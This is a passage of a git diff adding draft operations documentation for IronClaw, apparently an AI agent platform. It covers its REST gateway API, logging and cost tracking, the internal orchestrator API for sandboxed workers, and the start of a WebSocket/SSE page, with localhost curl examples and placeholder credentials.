PostgreSQL is running: + ```bash + sudo systemctl status postgresql + sudo -u postgres psql -c "\l" + ``` + + + + Check firewall and binding: + ```bash + sudo ufw status + sudo ss -tlnp | grep 3000 + ``` + + + + On VPS, use NEAR AI Cloud API key instead of browser OAuth: + ```bash + export NEARAI_API_KEY=your-api-key + ironclaw onboard + ``` + + + +## Next Steps + + + + Full environment variable reference + + + Set up Telegram and other channels + + diff --git a/docs/drafts/ops/api.mdx b/docs/drafts/ops/api.mdx new file mode 100644 index 0000000000..689b5e1aa7 --- /dev/null +++ b/docs/drafts/ops/api.mdx @@ -0,0 +1,624 @@ +--- +title: REST API Reference +sidebarTitle: REST API +description: Complete endpoint reference for the IronClaw Web Gateway API +--- + +The IronClaw Web Gateway exposes a REST API for all agent operations. All endpoints require bearer token authentication. + +## Authentication + +```http +Authorization: Bearer +``` + +The token is set via the `GATEWAY_AUTH_TOKEN` environment variable. An unauthenticated request returns `401 Unauthorized`. + +## Base URL + +``` +http://localhost:3000 +``` + +For remote deployments, replace with your reverse proxy domain (e.g., `https://ironclaw.yourdomain.com`). + +--- + +## Status + +| Method | Endpoint | Description | +|--------|----------|-------------| +| `GET` | `/api/status` | Agent status, version, uptime, active job count | +| `GET` | `/api/health` | Liveness check — returns `200 OK` if the gateway is up | +| `GET` | `/api/gateway/status` | Gateway connection status and channel details | + +### GET /api/status + +```bash +curl -s -H "Authorization: Bearer $TOKEN" http://localhost:3000/api/status | jq . +``` + +```json +{ + "status": "running", + "version": "0.13.0", + "uptime_secs": 86400, + "active_jobs": 2, + "llm_backend": "nearai", + "database_backend": "libsql", + "sandbox_enabled": true +} +``` + +--- + +## Chat + +| Method | Endpoint | Description | +|--------|----------|-------------| +| `POST` | `/api/chat/send` | Submit a message; returns a streaming response or job ID | +| `POST` | `/api/chat/approval` | Approve or deny a pending tool execution | +| `POST` | `/api/chat/auth-token` | Complete OAuth token flow | +| `POST` | `/api/chat/auth-cancel` | Cancel pending OAuth flow | +| `GET` | `/api/chat/events` | SSE stream of chat events (job updates, messages) | +| `GET` | `/api/chat/ws` | WebSocket endpoint for real-time chat | +| `GET` | `/api/chat/history` | Get message history for a session | +| `GET` | `/api/chat/threads` | List all conversation threads | +| `POST` | `/api/chat/thread/new` | Create a new conversation thread | + +### POST /api/chat/send + +```bash +curl -s -X POST \ + -H "Authorization: Bearer $TOKEN" \ + -H "Content-Type: application/json" \ + -d '{"message": "Summarize the last 3 jobs", "session_id": "default"}' \ + http://localhost:3000/api/chat/send +``` + +**Request body:** + +```json +{ + "message": "string (required)", + "session_id": "string (optional, defaults to 'default')", + "stream": false +} +``` + +**Response:** + +```json +{ + "job_id": "job_01j9abc123", + "session_id": "default", + "status": "pending", + "message": "Job created. Connect to /api/jobs/job_01j9abc123 for updates." +} +``` + +### GET /api/chat/threads + +```bash +curl -s -H "Authorization: Bearer $TOKEN" \ + http://localhost:3000/api/chat/threads | jq . +``` + +**Response:** + +```json +{ + "threads": [ + { + "id": "default", + "name": "Default", + "created_at": "2024-01-15T10:00:00Z", + "updated_at": "2024-01-15T12:30:00Z", + "message_count": 42 + } + ] +} +``` + +### POST /api/chat/approval + +```bash +curl -s -X POST \ + -H "Authorization: Bearer $TOKEN" \ + -H "Content-Type: application/json" \ + -d '{"job_id": "job_01j9abc123", "approved": true}' \ + http://localhost:3000/api/chat/approval +``` + +--- + +## Jobs + +| Method | Endpoint | Description | +|--------|----------|-------------| +| `GET` | `/api/jobs` | List jobs (supports `?status=`, `?limit=`, `?offset=`) | +| `GET` | `/api/jobs/summary` | Get job statistics summary | +| `GET` | `/api/jobs/:id` | Get job details and current state | +| `POST` | `/api/jobs/:id/cancel` | Cancel a running job | +| `POST` | `/api/jobs/:id/restart` | Restart a completed or failed job | +| `POST` | `/api/jobs/:id/prompt` | Send a follow-up prompt to a running job | +| `GET` | `/api/jobs/:id/events` | Get job event history | +| `GET` | `/api/jobs/:id/files/list` | List files in the job's sandbox | +| `GET` | `/api/jobs/:id/files/read` | Read a file from the job's sandbox | + +### GET /api/jobs + +```bash +curl -s -H "Authorization: Bearer $TOKEN" \ + "http://localhost:3000/api/jobs?status=running&limit=10" | jq . +``` + +**Query parameters:** + +| Parameter | Type | Description | +|-----------|------|-------------| +| `status` | string | Filter by: `pending`, `running`, `completed`, `failed`, `cancelled` | +| `limit` | integer | Max results (default: 20, max: 100) | +| `offset` | integer | Pagination offset | +| `session_id` | string | Filter by session | + +**Response:** + +```json +{ + "jobs": [ + { + "id": "job_01j9abc123", + "session_id": "default", + "status": "running", + "intent": "summarize recent activity", + "created_at": "2024-01-15T10:30:00Z", + "updated_at": "2024-01-15T10:30:05Z", + "tool_calls": 3, + "tokens_used": 1200 + } + ], + "total": 47, + "limit": 10, + "offset": 0 +} +``` + +### GET /api/jobs/summary + +```bash +curl -s -H "Authorization: Bearer $TOKEN" \ + http://localhost:3000/api/jobs/summary | jq . +``` + +**Response:** + +```json +{ + "total": 47, + "by_status": { + "pending": 2, + "running": 3, + "completed": 35, + "failed": 5, + "cancelled": 2 + } +} +``` + +### POST /api/jobs/:id/cancel + +```bash +curl -s -X POST \ + -H "Authorization: Bearer $TOKEN" \ + http://localhost:3000/api/jobs/job_01j9abc123/cancel +``` + +### POST /api/jobs/:id/restart + +```bash +curl -s -X POST \ + -H "Authorization: Bearer $TOKEN" \ + http://localhost:3000/api/jobs/job_01j9abc123/restart +``` + +### POST /api/jobs/:id/prompt + +```bash +curl -s -X POST \ + -H "Authorization: Bearer $TOKEN" \ + -H "Content-Type: application/json" \ + -d '{"message": "Also check the tests directory"}' \ + http://localhost:3000/api/jobs/job_01j9abc123/prompt +``` + +### GET /api/jobs/:id/files/list + +```bash +curl -s -H "Authorization: Bearer $TOKEN" \ + http://localhost:3000/api/jobs/job_01j9abc123/files/list | jq . +``` + +**Response:** + +```json +{ + "files": [ + {"path": "/workspace/main.rs", "size": 1234, "is_dir": false}, + {"path": "/workspace/src", "size": 0, "is_dir": true} + ] +} +``` + +### GET /api/jobs/:id/files/read + +```bash +curl -s -H "Authorization: Bearer $TOKEN" \ + "http://localhost:3000/api/jobs/job_01j9abc123/files/read?path=/workspace/main.rs" | jq . +``` + +--- + +## Memory + +| Method | Endpoint | Description | +|--------|----------|-------------| +| `GET` | `/api/memory/search` | Hybrid search (FTS + vector) across workspace memory | +| `GET` | `/api/memory/tree` | Browse the workspace file tree | +| `GET` | `/api/memory/list` | List memory documents with pagination | +| `GET` | `/api/memory/read` | Read a memory document by path | +| `POST` | `/api/memory/write` | Write a new memory document | +| `GET` | `/api/memory/:path` | Read a memory document by path (alternative) | +| `PUT` | `/api/memory/:path` | Write or update a memory document | +| `DELETE` | `/api/memory/:path` | Delete a memory document | + +### GET /api/memory/search + +```bash +curl -s -H "Authorization: Bearer $TOKEN" \ + "http://localhost:3000/api/memory/search?q=deployment+notes&limit=5" | jq . +``` + +**Query parameters:** + +| Parameter | Type | Description | +|-----------|------|-------------| +| `q` | string | Search query (required) | +| `limit` | integer | Max results (default: 10) | +| `semantic` | boolean | Include semantic/vector results (default: true, requires embeddings) | + +### GET /api/memory/tree + +```bash +curl -s -H "Authorization: Bearer $TOKEN" \ + "http://localhost:3000/api/memory/tree?path=/" | jq . +``` + +### POST /api/memory/write + +```bash +curl -s -X POST \ + -H "Authorization: Bearer $TOKEN" \ + -H "Content-Type: application/json" \ + -d '{"path": "context/notes.md", "content": "# Notes\n\nSome notes here."}' \ + http://localhost:3000/api/memory/write +``` + +### PUT /api/memory/:path + +```bash +curl -s -X PUT \ + -H "Authorization: Bearer $TOKEN" \ + -H "Content-Type: application/json" \ + -d '{"content": "# Deploy Notes\n\nDeployed v0.13 on 2024-01-15.", "tags": ["deploy", "notes"]}' \ + http://localhost:3000/api/memory/context/deploy-notes.md +``` + +--- + +## Routines + +| Method | Endpoint | Description | +|--------|----------|-------------| +| `GET` | `/api/routines` | List all routines | +| `GET` | `/api/routines/summary` | Get routine statistics summary | +| `POST` | `/api/routines` | Create a new routine | +| `GET` | `/api/routines/:id` | Get a routine by ID | +| `PUT` | `/api/routines/:id` | Update a routine | +| `DELETE` | `/api/routines/:id` | Delete a routine | +| `POST` | `/api/routines/:id/trigger` | Manually trigger a routine | +| `POST` | `/api/routines/:id/toggle` | Enable or disable a routine | +| `GET` | `/api/routines/:id/runs` | Get execution history for a routine | + +### POST /api/routines + +```bash +curl -s -X POST \ + -H "Authorization: Bearer $TOKEN" \ + -H "Content-Type: application/json" \ + -d '{ + "name": "daily-digest", + "trigger": {"type": "cron", "schedule": "0 9 * * *"}, + "action": {"type": "message", "content": "Generate a daily summary of yesterday'"'"'s activity."}, + "enabled": true + }' \ + http://localhost:3000/api/routines +``` + +### POST /api/routines/:id/trigger + +```bash +curl -s -X POST \ + -H "Authorization: Bearer $TOKEN" \ + http://localhost:3000/api/routines/routine_01j9abc123/trigger +``` + +### POST /api/routines/:id/toggle + +```bash +curl -s -X POST \ + -H "Authorization: Bearer $TOKEN" \ + -H "Content-Type: application/json" \ + -d '{"enabled": false}' \ + http://localhost:3000/api/routines/routine_01j9abc123/toggle +``` + +--- + +## Skills + +| Method | Endpoint | Description | +|--------|----------|-------------| +| `GET` | `/api/skills` | List all discovered skills with trust level and activation status | +| `POST` | `/api/skills/install` | Install a skill from ClawHub or a local path | +| `DELETE` | `/api/skills/:name` | Remove an installed skill | +| `GET` | `/api/skills/search` | Search the ClawHub registry | + +### GET /api/skills/search + +```bash +curl -s -H "Authorization: Bearer $TOKEN" \ + "http://localhost:3000/api/skills/search?q=git+workflow" | jq . +``` + +### POST /api/skills/install + +```bash +curl -s -X POST \ + -H "Authorization: Bearer $TOKEN" \ + -H "Content-Type: application/json" \ + -d '{"name": "git-workflow", "source": "clawhub"}' \ + http://localhost:3000/api/skills/install +``` + +--- + +## Extensions + +| Method | Endpoint | Description | +|--------|----------|-------------| +| `GET` | `/api/extensions` | List installed extensions (MCP servers, WASM modules) | +| `GET` | `/api/extensions/tools` | List tools provided by extensions | +| `GET` | `/api/extensions/registry` | List available extensions from registry | +| `POST` | `/api/extensions/install` | Install an extension from URL or registry | +| `POST` | `/api/extensions/:id/auth` | Configure authentication for an extension | +| `POST` | `/api/extensions/:id/activate` | Activate an installed extension | +| `DELETE` | `/api/extensions/:id` | Uninstall an extension | + +### GET /api/extensions/registry + +```bash +curl -s -H "Authorization: Bearer $TOKEN" \ + http://localhost:3000/api/extensions/registry | jq . +``` + +### GET /api/extensions/tools + +```bash +curl -s -H "Authorization: Bearer $TOKEN" \ + http://localhost:3000/api/extensions/tools | jq . +``` + +--- + +## Secrets + +| Method | Endpoint | Description | +|--------|----------|-------------| +| `GET` | `/api/secrets` | List secret names (values are never returned) | +| `POST` | `/api/secrets` | Store a new secret (AES-256-GCM encrypted at rest) | +| `DELETE` | `/api/secrets/:name` | Delete a stored secret | + +### POST /api/secrets + +```bash +curl -s -X POST \ + -H "Authorization: Bearer $TOKEN" \ + -H "Content-Type: application/json" \ + -d '{"name": "github_token", "value": "ghp_xxxxxxxxxxxx", "description": "GitHub PAT for CI"}' \ + http://localhost:3000/api/secrets +``` + +**Response:** + +```json +{ + "name": "github_token", + "created_at": "2024-01-15T10:00:00Z" +} +``` + + +Secret values are write-only. The `GET /api/secrets` endpoint returns only secret names and metadata, never the plaintext values. Values are encrypted with AES-256-GCM before storage. + + +--- + +## Settings + +| Method | Endpoint | Description | +|--------|----------|-------------| +| `GET` | `/api/settings` | Get all user settings as a key-value map | +| `GET` | `/api/settings/:key` | Get a specific setting | +| `PUT` | `/api/settings` | Update one or more settings | +| `GET` | `/api/settings/export` | Export all settings as JSON | +| `POST` | `/api/settings/import` | Import settings from JSON | + +### PUT /api/settings + +```bash +curl -s -X PUT \ + -H "Authorization: Bearer $TOKEN" \ + -H "Content-Type: application/json" \ + -d '{"heartbeat_enabled": "true", "max_parallel_jobs": "3"}' \ + http://localhost:3000/api/settings +``` + +### GET /api/settings/export + +```bash +curl -s -H "Authorization: Bearer $TOKEN" \ + http://localhost:3000/api/settings/export > settings.json +``` + +### POST /api/settings/import + +```bash +curl -s -X POST \ + -H "Authorization: Bearer $TOKEN" \ + -H "Content-Type: application/json" \ + -d @settings.json \ + http://localhost:3000/api/settings/import +``` + +--- + +## Logs + +| Method | Endpoint | Description | +|--------|----------|-------------| +| `GET` | `/api/logs/events` | SSE stream of live log events | +| `GET` | `/api/logs/level` | Get current log level | +| `PUT` | `/api/logs/level` | Set log level dynamically | + +### GET /api/logs/events + +```bash +curl -N \ + -H "Authorization: Bearer $TOKEN" \ + -H "Accept: text/event-stream" \ + http://localhost:3000/api/logs/events +``` + +### PUT /api/logs/level + +```bash +curl -s -X PUT \ + -H "Authorization: Bearer $TOKEN" \ + -H "Content-Type: application/json" \ + -d '{"level": "debug"}' \ + http://localhost:3000/api/logs/level +``` + +--- + +## Channels + +| Method | Endpoint | Description | +|--------|----------|-------------| +| `GET` | `/api/channels` | List all configured channels and their enabled status | +| `GET` | `/api/channels/:id/status` | Connection status for a specific channel | + +--- + +## Pairing + +| Method | Endpoint | Description | +|--------|----------|-------------| +| `GET` | `/api/pairing/:channel` | List pairing codes for a channel type | +| `POST` | `/api/pairing/:channel` | Create a new pairing code | + +### GET /api/pairing/:channel + +```bash +curl -s -H "Authorization: Bearer $TOKEN" \ + http://localhost:3000/api/pairing/telegram | jq . +``` + +--- + +## OAuth + +| Method | Endpoint | Description | +|--------|----------|-------------| +| `GET` | `/oauth/callback` | OAuth callback handler for channel authentication | + +--- + +## OpenAI Compatibility + +| Method | Endpoint | Description | +|--------|----------|-------------| +| `GET` | `/v1/models` | List available models | +| `POST` | `/v1/chat/completions` | OpenAI-compatible chat completions | + +### GET /v1/models + +```bash +curl -s -H "Authorization: Bearer $TOKEN" \ + http://localhost:3000/v1/models | jq . +``` + +### POST /v1/chat/completions + +```bash +curl -s -X POST \ + -H "Authorization: Bearer $TOKEN" \ + -H "Content-Type: application/json" \ + -d '{ + "model": "claude-3-5-sonnet-20241022", + "messages": [{"role": "user", "content": "Hello"}] + }' \ + http://localhost:3000/v1/chat/completions +``` + +--- + +## Error Codes + +| Status | Code | Description | +|--------|------|-------------| +| `400` | Bad Request | Malformed request body or missing required fields | +| `401` | Unauthorized | Missing or invalid `Authorization` header | +| `404` | Not Found | The requested resource does not exist | +| `409` | Conflict | Resource already exists (e.g., duplicate secret name) | +| `422` | Unprocessable Entity | Request is well-formed but semantically invalid | +| `429` | Too Many Requests | Rate limit exceeded | +| `500` | Internal Server Error | Unexpected server error — check logs | +| `503` | Service Unavailable | Agent is initializing or shutting down | + +**Error response body:** + +```json +{ + "error": "not_found", + "message": "Job 'job_01j9abc123' does not exist", + "request_id": "req_7f3a9b" +} +``` + +--- + +## Next Steps + + + + Real-time streaming for job updates and log tailing + + + Internal worker API for sandbox containers + + + RUST_LOG, journalctl, and cost tracking + + diff --git a/docs/drafts/ops/logging.mdx b/docs/drafts/ops/logging.mdx new file mode 100644 index 0000000000..34e35a2ed9 --- /dev/null +++ b/docs/drafts/ops/logging.mdx @@ -0,0 +1,294 @@ +--- +title: Logging & Monitoring +sidebarTitle: Logging +description: RUST_LOG levels, structured logs, cost tracking, and SSE log streams +--- + +IronClaw uses the [tracing](https://docs.rs/tracing) crate for structured logging. Output goes to stdout/stderr and can be streamed in real time via the Web Gateway SSE endpoint. + +--- + +## RUST_LOG Format + +Control log verbosity with the `RUST_LOG` environment variable. The format follows the `tracing_subscriber` filter syntax: + +``` +RUST_LOG==[,=,...] +``` + +### Common Log Level Configurations + +| Configuration | Use Case | +|---------------|----------| +| `ironclaw=error` | Production: errors only | +| `ironclaw=warn` | Production: errors and warnings | +| `ironclaw=info` | Production: normal operational events (recommended) | +| `ironclaw=debug` | Troubleshooting: detailed request/response flow | +| `ironclaw=trace` | Deep debugging: all internal events including LLM token streams | +| `ironclaw=info,tower_http=warn` | Reduce HTTP access log noise | +| `ironclaw=debug,tower_http=debug` | Debug with HTTP request details | + +Set in your environment file or shell: + +```bash +# In .env or /etc/ironclaw/ironclaw.env +RUST_LOG=ironclaw=info,tower_http=warn + +# Or inline for a single run +RUST_LOG=ironclaw=debug ironclaw run +``` + +--- + +## Log Levels + +| Level | When to Use | +|-------|-------------| +| `error` | Unrecoverable failures: database connection lost, LLM provider unreachable, job crashed | +| `warn` | Recoverable issues: retry attempt, rate limit hit, sandbox container restart, circuit breaker tripped | +| `info` | Normal operations: job started/completed, routine triggered, heartbeat ran, extension activated | +| `debug` | Request flow detail: LLM API calls, tool invocations with parameters, state transitions | +| `trace` | Fine-grained internals: token-by-token stream chunks, SQL queries, WASM fuel consumption | + +--- + +## Per-Module Filtering + +Target specific subsystems without flooding the output: + +```bash +# Only agent and scheduler modules +RUST_LOG=ironclaw::agent=debug,ironclaw::agent::scheduler=trace + +# LLM provider calls only +RUST_LOG=ironclaw::llm=debug + +# Safety layer only +RUST_LOG=ironclaw::safety=debug + +# Skills system only +RUST_LOG=ironclaw::skills=debug + +# Sandbox and proxy +RUST_LOG=ironclaw::sandbox=debug + +# Database queries +RUST_LOG=ironclaw::db=trace + +# Everything + HTTP access log +RUST_LOG=ironclaw=debug,tower_http=debug + +# Silence noisy dependencies +RUST_LOG=ironclaw=info,hyper=warn,reqwest=warn,tower_http=warn +``` + +--- + +## Log Output Format + +IronClaw emits structured logs in the following format: + +``` +2024-01-15T10:30:00.123456Z INFO ironclaw::agent::worker: job started job_id="job_01j9abc" intent="summarize recent activity" session="default" +2024-01-15T10:30:00.456789Z DEBUG ironclaw::llm::nearai_chat: sending request model="claude-3-5-sonnet-20241022" tokens=1024 +2024-01-15T10:30:02.891234Z INFO ironclaw::agent::worker: tool call tool="memory_search" job_id="job_01j9abc" +2024-01-15T10:30:03.234567Z INFO ironclaw::agent::worker: job completed job_id="job_01j9abc" duration_ms=3111 tokens_used=1847 +``` + +Fields included in log events: + +| Field | Description | +|-------|-------------| +| `timestamp` | ISO-8601 UTC timestamp | +| `level` | Log level (ERROR/WARN/INFO/DEBUG/TRACE) | +| `module` | Rust module path (e.g., `ironclaw::agent::worker`) | +| `message` | Human-readable event description | +| `job_id` | Associated job ID (when applicable) | +| `session_id` | Conversation session (when applicable) | +| `tool` | Tool name (for tool call events) | +| `duration_ms` | Operation duration in milliseconds (on completion events) | +| `tokens_used` | LLM token count (for LLM call events) | + +--- + +## journalctl (systemd) + +When running under systemd, all output is captured by the journal: + +```bash +# Follow live logs +journalctl -u ironclaw -f + +# Last 200 lines +journalctl -u ironclaw -n 200 + +# Since a specific time +journalctl -u ironclaw --since "2024-01-15 10:00:00" + +# Last hour only +journalctl -u ironclaw --since "1 hour ago" + +# Last hour, error level and above +journalctl -u ironclaw --since "1 hour ago" -p err + +# Filter by a specific string (grep equivalent) +journalctl -u ironclaw -g "job_01j9abc" + +# Export to JSON for analysis +journalctl -u ironclaw --since today -o json > ironclaw-today.json + +# Export to plain text file +journalctl -u ironclaw --since today > ironclaw-today.log + +# Check disk usage of journal +journalctl --disk-usage +``` + +--- + +## LLM Cost Tracking + +IronClaw records every LLM API call in the `llm_calls` database table. Each record includes: + +| Column | Description | +|--------|-------------| +| `job_id` | Job that triggered the call | +| `model` | Model name (e.g., `claude-3-5-sonnet-20241022`) | +| `provider` | LLM backend (e.g., `nearai`, `anthropic`) | +| `prompt_tokens` | Input tokens | +| `completion_tokens` | Output tokens | +| `total_tokens` | Sum of prompt + completion | +| `cost_usd` | Estimated cost in USD (based on published rates) | +| `latency_ms` | Time to first token in milliseconds | +| `created_at` | Timestamp of the call | + +### Query via REST API + +```bash +# Get cost summary +curl -s -H "Authorization: Bearer $TOKEN" \ + http://localhost:3000/api/status | jq '.cost_summary' +``` + +### Query the Database Directly (libSQL) + +```bash +# Connect to the libSQL database +sqlite3 ~/.ironclaw/ironclaw.db + +# Total cost today +SELECT + provider, + model, + SUM(total_tokens) AS tokens, + ROUND(SUM(cost_usd), 4) AS cost_usd +FROM llm_calls +WHERE date(created_at) = date('now') +GROUP BY provider, model +ORDER BY cost_usd DESC; + +# Top 10 most expensive jobs this week +SELECT + job_id, + SUM(total_tokens) AS tokens, + ROUND(SUM(cost_usd), 4) AS cost_usd +FROM llm_calls +WHERE created_at >= datetime('now', '-7 days') +GROUP BY job_id +ORDER BY cost_usd DESC +LIMIT 10; +``` + +### Query the Database Directly (PostgreSQL) + +```sql +-- Total cost this month +SELECT + provider, + model, + SUM(total_tokens) AS tokens, + ROUND(SUM(cost_usd)::numeric, 4) AS cost_usd +FROM llm_calls +WHERE created_at >= date_trunc('month', NOW()) +GROUP BY provider, model +ORDER BY cost_usd DESC; +``` + +--- + +## Live Log Streaming via Web Gateway + +The Web Gateway exposes a live SSE log stream at `/api/logs`. This lets you tail logs from a browser or monitoring system without SSH access. + +```bash +# Stream logs with curl +curl -N \ + -H "Authorization: Bearer $TOKEN" \ + -H "Accept: text/event-stream" \ + http://localhost:3000/api/logs +``` + +Example output: + +``` +event: log +data: {"level":"INFO","message":"job started","module":"ironclaw::agent::worker","job_id":"job_01j9abc","ts":"2024-01-15T10:30:00Z"} + +event: job_status +data: {"job_id":"job_01j9abc","status":"completed","ts":"2024-01-15T10:30:03Z"} +``` + +See [WebSocket & SSE](/ops/websocket-sse) for JavaScript integration examples and the full event type reference. + +--- + +## Reducing Log Noise + +Some dependencies are verbose at the default log level. Silence them while keeping IronClaw output at debug: + +```bash +# Quiet HTTP infrastructure +RUST_LOG=ironclaw=debug,hyper=warn,reqwest=warn,tower_http=warn,h2=warn + +# Quiet database layer +RUST_LOG=ironclaw=info,ironclaw::db=warn + +# Maximum quiet (errors only everywhere) +RUST_LOG=error + +# Recommended production setting +RUST_LOG=ironclaw=info,tower_http=warn,hyper=warn +``` + +--- + +## Disabling Specific Modules + +If a particular module is too noisy during an investigation, disable it completely: + +```bash +# Suppress all sandbox logs +RUST_LOG=ironclaw=debug,ironclaw::sandbox=off + +# Suppress all LLM call details +RUST_LOG=ironclaw=debug,ironclaw::llm=info + +# Suppress routine engine tick logs +RUST_LOG=ironclaw=info,ironclaw::agent::routine_engine=warn +``` + +--- + +## Next Steps + + + + Query cost summaries and status via the REST API + + + Stream live logs to a browser or monitoring tool + + + Common error patterns and how to resolve them + + diff --git a/docs/drafts/ops/orchestrator.mdx b/docs/drafts/ops/orchestrator.mdx new file mode 100644 index 0000000000..cd40b24f14 --- /dev/null +++ b/docs/drafts/ops/orchestrator.mdx @@ -0,0 +1,348 @@ +--- +title: Orchestrator API +sidebarTitle: Orchestrator +description: Internal worker API for sandbox container communication +--- + +The Orchestrator runs on a separate internal port (default `50051`) from the web gateway. This API is used by worker containers to communicate with the orchestrator for LLM calls, credential injection, and job lifecycle management. + + +This is an internal API. Worker containers receive a per-job bearer token during initialization. All `/worker/` endpoints require authentication. + + +## Base URL + +``` +http://localhost:50051 +``` + +## Authentication + +Workers authenticate using per-job bearer tokens issued during container initialization: + +```http +Authorization: Bearer +``` + +Tokens are scoped to specific job IDs and rejected if used for other jobs. + +--- + +## Health + +| Method | Endpoint | Description | +|--------|----------|-------------| +| `GET` | `/health` | Liveness check — returns `200 OK` if orchestrator is running | + +### GET /health + +```bash +curl -s http://localhost:50051/health +# Response: "ok" +``` + +--- + +## Job Management + +| Method | Endpoint | Description | +|--------|----------|-------------| +| `GET` | `/worker/{job_id}/job` | Get job description and configuration | +| `POST` | `/worker/{job_id}/status` | Worker reports current status/iteration | +| `POST` | `/worker/{job_id}/complete` | Worker reports job completion or failure | + +### GET /worker/{job_id}/job + +```bash +curl -s -H "Authorization: Bearer $TOKEN" \ + http://localhost:50051/worker/job_01j9abc123/job | jq . +``` + +**Response:** + +```json +{ + "title": "Job job_01j9abc123", + "description": "Analyze the codebase and summarize findings", + "project_dir": "/workspace/my-project" +} +``` + +### POST /worker/{job_id}/status + +```bash +curl -s -X POST \ + -H "Authorization: Bearer $TOKEN" \ + -H "Content-Type: application/json" \ + -d '{ + "state": "in_progress", + "message": "Running analysis", + "iteration": 3 + }' \ + http://localhost:50051/worker/job_01j9abc123/status +``` + +**Request body:** + +```json +{ + "state": "string (pending|running|in_progress|completed|failed)", + "message": "string (optional status message)", + "iteration": "integer (current iteration count)" +} +``` + +### POST /worker/{job_id}/complete + +```bash +curl -s -X POST \ + -H "Authorization: Bearer $TOKEN" \ + -H "Content-Type: application/json" \ + -d '{ + "success": true, + "message": "Analysis complete. Found 5 key files." + }' \ + http://localhost:50051/worker/job_01j9abc123/complete +``` + +**Request body:** + +```json +{ + "success": "boolean (required)", + "message": "string (optional result message)" +} +``` + +**Response:** + +```json +{ + "status": "ok" +} +``` + +--- + +## LLM Proxy + +| Method | Endpoint | Description | +|--------|----------|-------------| +| `POST` | `/worker/{job_id}/llm/complete` | Proxy a completion request to the LLM | +| `POST` | `/worker/{job_id}/llm/complete_with_tools` | Proxy a tool-use request to the LLM | + +### POST /worker/{job_id}/llm/complete + +```bash +curl -s -X POST \ + -H "Authorization: Bearer $TOKEN" \ + -H "Content-Type: application/json" \ + -d '{ + "messages": [ + {"role": "user", "content": "Hello"} + ], + "model": "claude-3-5-sonnet-20241022", + "max_tokens": 1024, + "temperature": 0.7 + }' \ + http://localhost:50051/worker/job_01j9abc123/llm/complete | jq . +``` + +**Request body:** + +```json +{ + "messages": "array (ChatMessage array)", + "model": "string (model identifier)", + "max_tokens": "integer (optional, default from config)", + "temperature": "float (optional, 0.0-1.0)", + "stop_sequences": "array (optional)" +} +``` + +**Response:** + +```json +{ + "content": "LLM response text", + "input_tokens": 15, + "output_tokens": 42, + "finish_reason": "stop" +} +``` + +### POST /worker/{job_id}/llm/complete_with_tools + +```bash +curl -s -X POST \ + -H "Authorization: Bearer $TOKEN" \ + -H "Content-Type: application/json" \ + -d '{ + "messages": [ + {"role": "user", "content": "List files in the project"} + ], + "tools": [ + { + "name": "shell", + "description": "Execute shell commands", + "input_schema": { + "type": "object", + "properties": { + "command": {"type": "string"} + } + } + } + ], + "model": "claude-3-5-sonnet-20241022", + "max_tokens": 1024 + }' \ + http://localhost:50051/worker/job_01j9abc123/llm/complete_with_tools | jq . +``` + +**Request body:** + +```json +{ + "messages": "array (ChatMessage array)", + "tools": "array (Tool definition array)", + "model": "string (model identifier)", + "max_tokens": "integer", + "temperature": "float (optional)", + "tool_choice": "string (optional, 'auto'|'none'|tool name)" +} +``` + +**Response:** + +```json +{ + "content": "I'll list the files for you.", + "tool_calls": [ + { + "id": "call_abc123", + "name": "shell", + "input": {"command": "ls -la"} + } + ], + "input_tokens": 120, + "output_tokens": 85, + "finish_reason": "tool_use" +} +``` + +--- + +## Job Events + +| Method | Endpoint | Description | +|--------|----------|-------------| +| `POST` | `/worker/{job_id}/event` | Worker sends events (message, tool_use, tool_result, result) | + +### POST /worker/{job_id}/event + +```bash +curl -s -X POST \ + -H "Authorization: Bearer $TOKEN" \ + -H "Content-Type: application/json" \ + -d '{ + "event_type": "message", + "data": { + "role": "assistant", + "content": "Analyzing the codebase..." + } + }' \ + http://localhost:50051/worker/job_01j9abc123/event +``` + +**Event types:** + +| Event Type | Data Fields | +|------------|-------------| +| `message` | `role`, `content` | +| `tool_use` | `tool_name`, `input` | +| `tool_result` | `tool_name`, `output` | +| `result` | `status`, `session_id` (optional) | + +**Response:** `200 OK` on success + +--- + +## Claude Code Bridge + +| Method | Endpoint | Description | +|--------|----------|-------------| +| `GET` | `/worker/{job_id}/prompt` | Get next queued follow-up prompt for Claude Code | + +### GET /worker/{job_id}/prompt + +```bash +curl -s -H "Authorization: Bearer $TOKEN" \ + http://localhost:50051/worker/job_01j9abc123/prompt +``` + +**Response (with pending prompt):** + +```json +{ + "content": "What is the current git status?", + "done": false +} +``` + +**Response (queue empty):** `204 No Content` + +--- + +## Credentials + +| Method | Endpoint | Description | +|--------|----------|-------------| +| `GET` | `/worker/{job_id}/credentials` | Get decrypted secrets granted to this job | + +### GET /worker/{job_id}/credentials + +```bash +curl -s -H "Authorization: Bearer $TOKEN" \ + http://localhost:50051/worker/job_01j9abc123/credentials | jq . +``` + +**Response:** + +```json +[ + { + "env_var": "GITHUB_TOKEN", + "value": "ghp_xxxxxxxxxxxx" + }, + { + "env_var": "DATABASE_URL", + "value": "postgres://user:pass@localhost/db" + } +] +``` + +**Response (no grants):** `204 No Content` + +**Response (secrets store unavailable):** `503 Service Unavailable` + +--- + +## Error Codes + +| Status | Code | Description | +|--------|------|-------------| +| `401` | Unauthorized | Missing or invalid job token | +| `404` | Not Found | Job not found or container not running | +| `503` | Service Unavailable | Secrets store not configured | + +--- + +## Configuration + +The orchestrator port is configured via: + +| Environment Variable | Default | Description | +|----------------------|---------|-------------| +| `ORCHESTRATOR_PORT` | `50051` | Internal API port | + +On Linux, the orchestrator binds to all interfaces (`0.0.0.0`) to allow container access. On macOS/Windows, it binds to loopback (`127.0.0.1`) since Docker Desktop routes through the VM. diff --git a/docs/drafts/ops/websocket-sse.mdx b/docs/drafts/ops/websocket-sse.mdx new file mode 100644 index 0000000000..7c75874230 --- /dev/null +++ b/docs/drafts/ops/websocket-sse.mdx @@ -0,0 +1,375 @@ +--- +title: WebSocket & SSE Streaming +sidebarTitle: WebSocket & SSE +description: Real-time streaming via WebSocket and Server-Sent Events +--- + +IronClaw supports two real-time streaming protocols: **WebSocket** for bidirectional communication (chat, job updates) and **Server-Sent Events (SSE)** for unidirectional log and event streams. + +--- + +## WebSocket + +### Endpoint + +``` +ws://localhost:3000/ws +``` + +For TLS-terminated deployments: + +``` +wss://ironclaw.yourdomain.com/ws +``` + +### Authentication + +WebSocket connections authenticate by sending an `auth` message immediately after connecting. The connection is rejected if authentication is not completed within 10 seconds. + +```json +{ + "type": "auth", + "token": "" +} +``` + +Successful authentication response: + +```json +{ + "type": "auth_ok", + 